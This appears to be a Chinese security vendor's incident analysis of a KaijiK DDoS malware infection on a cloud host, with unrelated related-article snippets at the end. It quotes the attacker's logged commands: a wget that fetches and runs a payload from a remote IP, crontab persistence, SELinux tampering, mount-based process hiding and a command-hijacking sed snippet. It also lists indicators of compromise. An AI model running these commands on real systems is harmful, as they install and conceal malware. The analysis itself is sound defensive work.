当前位置: 首页 > news >正文

猫鼠游戏: KaijiK病毒入侵溯源分析

1. 事件背景

近期,网宿平台某客户在使用云主机工作的时候突然出现主机卡顿,连接不稳定,网络断开的情况,并且收到了网宿主机入侵检测产品的告警信息。由于客户没有专职的安全人员,由运维人员兼任安全运营工作,于是网宿安全专家协助对事件进行排查、溯源、处理。

2. 入侵过程溯源分析

获得用户授权后,网宿安全专家登录控制台查看,发现一些病毒进程、隐藏进程告警,以及一些异常登录信息:

查看主机的资源监控,发现极高的CPU占用以及很高的上行带宽。从异常特征来看很可能是感染病毒后被当作肉鸡,对外发起DDOS攻击。

网宿安全专家使用网宿主机入侵检测的溯源功能对入侵过程进行溯源分析,通过进程树视图可以看到amd64启动了amd64子进程,并且执行mount命令进行隐藏。通过切换到会话视图,可以看到相同会话下执行了wget下载了病毒文件,登录IP 87.246.7.38来自于保加利亚索非亚,与异常登录告警一致。

TIPS: 会话模式,linux下每次登录都会记录一个会话ID,相同会话ID可以比较全面的记录一次入侵登录的执行行为。很多病毒和命令执行后不会在原来的父进程下,如果只通过进程树进行跟踪将缺失很多重要信息。

切换到进程树的文本视图可以比较简洁明了的查看完整的命令执行列表。从文本视图可以快速看到病毒的下载、执行、隐藏、修改定时任务等行为信息。通过以下线索梳理关键的时间线信息。

时间行为
2024-06-28 06:55:55异常登录,登录IP 87.246.7.38来自于保加利亚索非亚
2024-06-28 06:55:56bash -c uname –m获取操作系统架构信息,方便后续下载对应的样本
2024-06-28 06:55:56bash -c cd /tmp;rm -f amd64;wget -t 1 http://198.98.51.37:27222/s/amd64确保 /tmp 目录下无同名文件,使用 wget 命令从远程服务器下载恶意文件 amd64 并存放在 /tmp 目录下。
2024-06-28 06:56:05bash -c /tmp/amd64执行命令,启动病毒样本
2024-06-28 06:56:06/bin/bash -c echo "*/1 * * * * root /.mod " >> /etc/crontab在定时任务中写入配置,每分钟启动/.mod
2024-06-28 06:56:06/bin/bash -c cd /boot;ausearch -c 'system.pub' --raw | audit2allow -M my-Systemmod;semodule -X 300 -i my-Systemmod.pp使用audit2allow和semodule修改系统的SELinux规则,使system.pub的操作不会被限制。
2024-06-28 06:56:07mount -o bind /tmp/ /proc/38915 通过mount命令对进程进行隐藏,这里的38915就是病毒进程的PID
2024-06-28 06:56:07/bin/sh /usr/sbin/service cron start通过服务启动cron,确保定时任务执行

3. 行为审计-病毒行为追踪

对入侵过程进行溯源分析后,接着可以通过审计功能对病毒的行为进行分析,以便彻底的对病毒、后门、配置篡改等进行清理,恢复主机至安全状态。审计包括登录审计、进程审计、文件审计、流量审计。

3.1 进程隐藏

在之前溯源分析以及审计的过程中检测到此命令mount -o bind /tmp/ /proc/38915,此命令通过mount将进程路径挂载到/tmp使得其他程序无法获得进程的信息,ps和top等均无法查看到进程信息。需要通过umount解除挂载才能看到进程。

解除前,ps看不到进程信息

但是进程路径是存在的,内容却是/tmp中的内容

解除后,可以看到进程信息

TIPS:通过mount进程PID路径对进程进行隐藏,使得进程的文件路径、启动路径等均无法获取。此时通过PS、TOP等命令均无法查看进程。是最常用的进程隐藏方法,没有依赖,执行简单,不修改preload或者内核,侵入性低,不影响系统稳定性。

3.2 文件隐藏

在对病毒修改文件的审计中发现/etc/profile.d/gateway.sh对一些重要命令进行了劫持来实现病毒相关文件的隐藏。

路径/etc/profile.d在每次用户登录时进行了加载,这个文件中对重要的命令进行了重新定义,这些命令会调用原始的命令,但是输出时会通过sed屏蔽包含一些关键字的信息。被篡改的命令均是常用的查看命令:ps、ss、netstat、dir、ls、find、lsof,使得常规的查看命令很难发现病毒的痕迹。

屏蔽的关键字均是病毒文件或者病毒相关文件

proc_name=$(echo "$proc_name" | sed -e '/\/usr\/bin\/include\//d')proc_name=$(echo "$proc_name" | sed -e '/dns-udp4/d')proc_name=$(echo "$proc_name" | sed -e '/quotaon.service/d')proc_name=$(echo "$proc_name" | sed -e '/system.pub/d')proc_name=$(echo "$proc_name" | sed -e '/gateway.sh/d')proc_name=$(echo "$proc_name" | sed -e '/.mod/d')proc_name=$(echo "$proc_name" | sed -e '/libgdi.so.0.8.2/d')proc_name=$(echo "$proc_name" | sed -e '/system.mark/d')proc_name=$(echo "$proc_name" | sed -e '/netstat.cfg/d')proc_name=$(echo "$proc_name" | sed -e '/bash.cfg/d')

使用系统的ls命令无法看到病毒文件,因为被屏蔽了。而使用busybox执行的ls命令是可以看到病毒文件的。

TIPS:病毒经常通过劫持方式在输出中隐藏病毒文件,常见的有alias劫持、定义function函数、替换文件劫持命令,更深层次的可以通过预加载动态链接库、rootkit等方式劫持系统函数。

3.3 启动项持久化

通过进程审计分析病毒修改或创建的文件发现病毒样本修改了大量的配置文件,主要涉及路径/etc/init.d,/etc/profile.d路径。/etc/init.d路径下的文件在开机启动时被执行,/etc/profile.d下的文件在用户登录时执行。

病毒遍历这两个路径下的所有配置文件,识别里面的if then语句,在语句后插入病毒的启动路径/lib/system.mark.

TIPS:植入开机启动项与登录启动项是病毒常见的持久化方式,使得用户连接上以后自动执行病毒。

3.4 定时任务持久化

在文件审计中有看到对/etc/crontab文件的修改,并且前面的进程命令中包含篡改此文件的命令 /bin/bash -c echo "*/1 * * * * root /.mod " >> /etc/crontab

查看/etc/crontab与/.mod的内容,病毒通过配置定时任务,每分钟启动一次/.mod,/.mod中启动/usr/lib/libgdi.so.0.8.2,这是一个伪装成so的病毒样本,其hash值与amd64相同。

TIPS:在定时任务中添加配置是病毒持久化常用的手段,即使杀死了病毒进程,没有清理定时任务的话,很快又会被拉起,经常使得病毒很难清理干净。

3.5 释放病毒文件

通过病毒木马对系统进行扫描,发现病毒将自身复制到多个路径下,并且伪造成系统文件相似的名字,他们的MD5值均相同,这些文件会在前面分析的各类配置文件中被拉起。

病毒路径列表:

/tmp/adm64/usr/lib/libgdi.so.0.8.2/lib/libgdi.so.0.8.2/boot/system.pub/etc/profile.d/bash.cfg/lib/system.mark/usr/lib/system.mark

TIPS:病毒通常会将自身复制到系统关键的配置路径,启动路径,lib库路径下,并伪装成与系统文件相似的名字,使得人工分析难以察觉。

3.6 文件时间篡改

从病毒木马检测中发现这些病毒的创建时间均为2020-02-27 13:52:07,而文件审计中这些文件均有近期的操作记录,病毒样本对文件时间进行了篡改,试图绕过检测。

TIPS:一些安全工具会对创建时间比较久远的文件跳过检测,隐藏病毒也经常通过篡改文件时间来视图规避检测。

3.7 外连C&C域名

通过流量审计功能对病毒通信IP进行分析,找到两个IP地址,其中一个是病毒的C&C服务器地址,一个是病毒样本下载地址。此样本通过51.222.38.42下发命令发起DDOS攻击。

IP地理位置作用
51.222.38.42法国C&C控制地址
193.142.146.228荷兰弗莱福兰省样本下载地址

TIPS:许多样本在感染时通常表现为静默状态,只有在接受到C&C远控下发命令时才执行具体的行为,比如发起DDOS攻击。

4. 处置措施

  1. 隔离受感染的系统,可以通过一键隔离功能快速进行隔离,防止远控地址下发命令,防止重新下载感染病毒。
  2. 删除病毒文件,包括初始下载的以后后续病毒样本释放的文件。
  3. 通过umount命令解除进程隐藏行为,然后杀死病毒进程。
  4. 修复被篡改的配置文件,删除植入的配置文件。
  5. 修改用户口令,确保口令满足复杂度要求,并且不在常见的弱口令库中。

5. 事件总结

攻击者通过暴力破解的方式获取了登录权限,然后从远程地址下载病毒样本并执行。病毒通过mount隐藏方法对进行进行了隐藏,通过劫持系统命令屏蔽病毒相关文件名字对文件进行了隐藏,通过开机启动项、定时任务、登录启动项配置中植入病毒路径进行持久化,删除病毒样本后,病毒执行又会重新释放恶意样本,使得病毒很难被清理。最后样本连接C&C服务器,等待接收指令,接收到指令后对外发起攻击,占用大量的CPU和上行带宽。

这个病毒对进程、文件均进行了隐藏,并且使用了多种方式进行持久化,病毒在静默状态下很难被发现,并且很难彻底清理。

6. 病毒样本IOC

病毒MD51c0e411f155da1bec2ca67af95bcb235
C&C地址51.222.38.42193.142.146.228
释放病毒样本/tmp/adm64/usr/lib/libgdi.so.0.8.2/lib/libgdi.so.0.8.2/boot/system.pub/etc/profile.d/bash.cfg/lib/system.mark/usr/lib/system.mark
释放脚本/.mod
篡改配置文件开机启动类定时任务类连接启动类

相关文章:

猫鼠游戏: KaijiK病毒入侵溯源分析

1. 事件背景 近期,网宿平台某客户在使用云主机工作的时候突然出现主机卡顿,连接不稳定,网络断开的情况,并且收到了网宿主机入侵检测产品的告警信息。由于客户没有专职的安全人员,由运维人员兼任安全运营工作&#xff…...

【Hot100算法刷题集】双指针-02-盛水最多的容器(含暴力枚举、双指针法及其合理性证明)

🏠关于专栏:专栏用于记录LeetCode中Hot100专题的所有题目 🎯每日努力一点点,技术变化看得见 题目转载 题目描述 🔒link->题目跳转链接 给定一个长度为 n 的整数数组 height 。有 n 条垂线,第 i 条线的…...

Spring和Spring FrameWork有什么关系?两者是同一个东西吗?

Spring和Spring Framework之间的关系可以归结为以下几点: 广义与狭义的理解 广义上的Spring: 广义上的Spring泛指以Spring Framework为基础的整个Spring技术栈。Spring已经发展成为一个由多个不同子项目(模块)组成的成熟技术体系…...

windows10 python 解决鼠标右键菜单中没有Edit with IDLE(不使用注册表编辑器)

随便选择一个py文件,右击打开属性。 打开方式:点击更改。 最下面:点击更多应用,点击在这台电脑上查找应用 搜索找到你自己按照的python路径下 Python39\Lib\idlelib\idle.bat 文件 点击打开,结束。...

一些深度学习相关指令

// 服务器上查看所有的环境版本 conda env list// 删除某一个环境 conda remove -n 环境名 --all终端输入命令:nvidia-smi,可以看显卡的使用情况指定使用哪张显卡: os.environ["CUDA_VISIBLE_DEVICES"] 2查看服务器的cuda版本&am…...

Python 实现自动配置华为交换机

Python 实现自动配置华为交换机 在网络运维中,配置交换机是非常重要的一步。如果我们可以使用 Python 来实现配置交换机,那么我们的工作效率将会大大提高。在本文中,我们将学习如何使用 Python 配置华为交换机。 背景知识 华为交换机是一种…...

上海亚商投顾:沪指探底回升 华为产业链午后爆发

上海亚商投顾前言:无惧大盘涨跌,解密龙虎榜资金,跟踪一线游资和机构资金动向,识别短期热点和强势个股。 一.市场情绪 沪指昨日探底回升,深成指、创业板指盘中跌逾1%,午后集体拉升翻红。华为产业链午后走强…...

回归预测 | MATLAB实现PSO-LSTM(粒子群优化长短期记忆神经网络)多输入单输出

回归预测 | MATLAB实现PSO-LSTM(粒子群优化长短期记忆神经网络)多输入单输出 目录 回归预测 | MATLAB实现PSO-LSTM(粒子群优化长短期记忆神经网络)多输入单输出预测效果基本介绍模型介绍PSO模型LSTM模型PSO-LSTM模型程序设计参考资料致谢预测效果 Matlab实现PSO-LSTM多变量回归…...

Linux seq命令

参考资料 知っておくとちょっと便利!seq コマンドの使い方をご紹介 目录 一. 基本语法二. 选项2.1 -f 格式化输出2.2 -s 指定分隔符2.3 -w 输出数字补齐宽度 三. 小案例3.1 递减序列3.2 批量创建测试文件3.3 批量下载文件 一. 基本语法 seq [OPTION] 结束值 seq […...

黑龙江等保测评:保障数据安全的最佳选择,助力企业无忧发展!

在数字化时代,数据安全已成为企业发展的重中之重。尤其是在黑龙江,随着信息技术的快速发展,数据泄露和网络攻击的风险日益增加。为了帮助企业提升数据安全防护能力,黑龙江等保测评应运而生,成为保障数据安全的有力工具…...

基于OpenCV和ROS节点的智能家居服务机器人设计流程

一、项目概述 1.1 项目目标和用途 智能家居助手项目旨在开发一款高效、智能的服务机器人,能够在家庭环境中执行多种任务,如送餐、清洁和监控。该机器人将通过自主导航、任务调度和环境感知能力,提升家庭生活的便利性和安全性。项目的最终目…...

vue中reduce属性的使用@3@

1.reduce方法 ​ reduce方法的使用(数组方法): 遍历数组,求和 ​ 语法:数组名.reduce((pre,current) > {},参数2) ​ pre:上次执行该方法的返回值 ​ current:数据项 ​ 实例代码: let…...

【MySQL】索引的使用与调优技巧

为什么MySQL的MyISAM和InnoDB存储引擎索引底层选择B树,而不是B树?哈希索引:具体项目实践步骤: 为什么MySQL的MyISAM和InnoDB存储引擎索引底层选择B树,而不是B树? 对于B树: 索引数据内容分散在不…...

C++库之一:Loki

Loki 是一个轻量级的 C 模板库,旨在为高性能和灵活的 C 编程提供强大的设计模式和技术。它最初由 Andrei Alexandrescu 在他的著作《Modern C Design: Generic Programming and Design Patterns Applied》一书中介绍。 Loki 的核心特点 Loki 库的设计是为了支持复…...

前后端时间转换的那些常见问题及处理方法

在现代的Web开发中,前后端分离的架构已经成为主流,尤其是在Spring Boot和Vue.js的组合中。开发者在这种架构下经常遇到的一个问题就是如何处理时间的转换和显示。前端和后端对时间的处理方式不同,可能会导致时间在传递过程中出现问题&#xf…...

怎么利用XML发送物流快递通知短信

现如今短信平台越来越普遍了,而短信通知也分很多种,例如服务通知、订单通知、交易短信通知、会议通知等。而短信平台在物流行业通知这一块作用也很大。在家时:我们平时快递到了,如果电话联系不到本人,就会放到代收点,然…...

什么是CPU、GPU、NPU?(包懂+会)

目录 举例子 CPU:主厨 GPU:大量的厨房助理 NPU:面包机 总结 讲理论 CPU(中央处理器) GPU(图形处理单元) NPU(神经网络处理单元) 对比分析 举例子 CPU&#xff…...

TypeScript接口

接口 在编程中,接口是一种编程规范,它定义了行为和动作规范,接口起到了规范的作用,比如长方形必须要有长和宽,至于是多少不管,但是必须要有, 接口不关心实现的细节是什么。 interface vs type…...

Java | Leetcode Java题解之第397题整数替换

题目: 题解: class Solution {public int integerReplacement(int n) {int ans 0;while (n ! 1) {if (n % 2 0) {ans;n / 2;} else if (n % 4 1) {ans 2;n / 2;} else {if (n 3) {ans 2;n 1;} else {ans 2;n n / 2 1;}}}return ans;} }...

MySQL的 where 1=1会不会影响性能

MySQL的 where 11会不会影响性能? 一、引言 在编写SQL语句时,我们经常会遇到需要动态拼接查询条件的情况,尤其是在使用MyBatis这类ORM框架时。为了简化代码,很多开发者会使用where 11来开始他们的查询语句,然后通过程…...

工业连接器 如何有效提高自动化生产?

随着工业4.0的推进,生产自动化已经成为现代制造业的重要趋势。在这一过程中,工业连接器作为电气系统的关键组件,扮演着至关重要的角色。工业连接器不仅确保了设备间的稳定连接,而且在提高生产效率、保障系统可靠性以及支持设备间的…...

虚表生成时机与多态开始时机

虚表生成在父类构造完之后,子类构造之前 ,生成父类虚表,再执行子类的构造,这时虚表已经重写,可以多态(即开始派生类构造初始化列表代码)。 验证:输出This is animal miao miao mia…...

web前端面试题精选

1. W3C标准有哪些? W3C推行的主要规范有HTML,CSS,XML,XHTML和DOM(Document Object Model)。2. 谈谈Js的内存泄露问题。 3. 谈谈对Html 5的了解。 4. 谈谈对CSS 3的了解。 5. 用js实现随即选取10--100之间的10个数字,存入一个数组,并排序。 var iArray = []; funt…...

程序员转型大模型开发,可以转型成功吗?

序员转型成为大模型(如深度学习或大规模语言模型)的开发者是完全可能的,尤其是随着人工智能领域的快速发展,这一领域的需求也在不断增长。以下是一些步骤和建议,可以帮助程序员顺利地进行这种职业转型: 学习…...

Threejs之球发射实战

本文目录 前言一、效果预览二、代码实现及解析2.1 代码2.2 解析 前言 本篇将基于Threejs之模拟小球反弹基础上以及Threejs这个专栏学习过的知识点上进行小球更加真实的物理运动轨迹,并且还会与鼠标进行交互的操作。由于知识点都在上篇均有涉及,本篇就不过…...

详解新规|逐条分析《电子认证服务管理办法(征求意见稿)》修订重点

近日,工信部就《电子认证服务管理办法(征求意见稿)》公开征求意见。 来源|公开资料 图源|Pixabay 编辑|公钥密码开放社区 《电子认证服务管理办法》(以下简称《办法》)于2009年2…...

哪个编程工具让你的工作效率翻倍?

✍️作者简介:小北编程(专注于HarmonyOS、Android、Java、Web、TCP/IP等技术方向) 🐳博客主页: 开源中国、稀土掘金、51cto博客、博客园、知乎、简书、慕课网、CSDN 🔔如果文章对您有一定的帮助请&#x1f…...

SEW变频器的特点

SEW变频器是德国SEW-EURODRIVE GmbH公司生产的一种变频器产品,该公司是全球领先的驱动技术和系统解决方案提供商之一。以下是关于SEW变频器的详细介绍: 一、产品特点 高效节能:SEW变频器采用先进的电力电子技术和控制技术,能够实…...

大象机械人------1、关节控制

回到首页 目录 1 单关节控制 角度控制:1.1 send_angle(id, degree, speed)电位值控制:1.2 set_encoder(joint_id, encoder) 2 多关节控制 获取所有角度:2.1 get_angles()角度控制:2.2 send_angles(degrees, speed)电位值控制&…...

油电叉车倒车防撞报警系统精准探测

油电叉车倒车防撞报警系统通过集成最新的传感器技术、图像识别算法以及智能控制技术‌,通过实时监测叉车周围环境中的障碍物、行人和其他叉车,及时发出警报,避免可能的碰撞事故。 油电叉车倒车防撞报警系统功能详解 精准探测 叉车倒车时&a…...